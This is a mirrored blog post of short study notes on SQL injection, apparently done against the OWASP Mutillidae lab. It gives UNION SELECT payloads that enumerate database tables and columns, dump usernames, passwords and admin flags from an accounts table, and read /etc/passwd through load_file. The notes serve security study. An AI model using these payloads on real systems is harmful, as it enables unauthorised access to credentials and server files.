zoukankan      html  css  js  c++  java
  • Ethical Hacking

    SQL INJECTION

    Discovering SQLi in GET

    Inject by browser URL.

    image

    Selecting Data From Database

    Change the number to a big one, then you can get a useful error message. And you can try different number to find the right column.

    image

    Using “union select 1,2,3,4,5” to find the right column.

    image

    Then replace it with the information we want to get. (database, user, version)

    image

    Finding Database Tables

    union select 1,table_name,null,null,5 from information_schema.tables where table_schema = 'owasp10'

    image

    Extracting Sensitive Data Such As Passwords.

    union select 1,column_name,null,null,5 from information_schema.columns where table_name = 'accounts'

    image

    union select 1,username,password,is_admin,5 from accounts

     Reading Files

    union select null,load_file('/etc/passwd'),null,null,null 

     Writing Files

     

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    简单工厂模式
    单例
    开发帮助网址
    图片上传
    数据提交
    存储过程
    标量值函数
    linux查看TCP各连接状态
    nginx配置文件nginx.conf
    php配置文件php-fpm.conf
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/12287747.html
Copyright © 2011-2022 走看看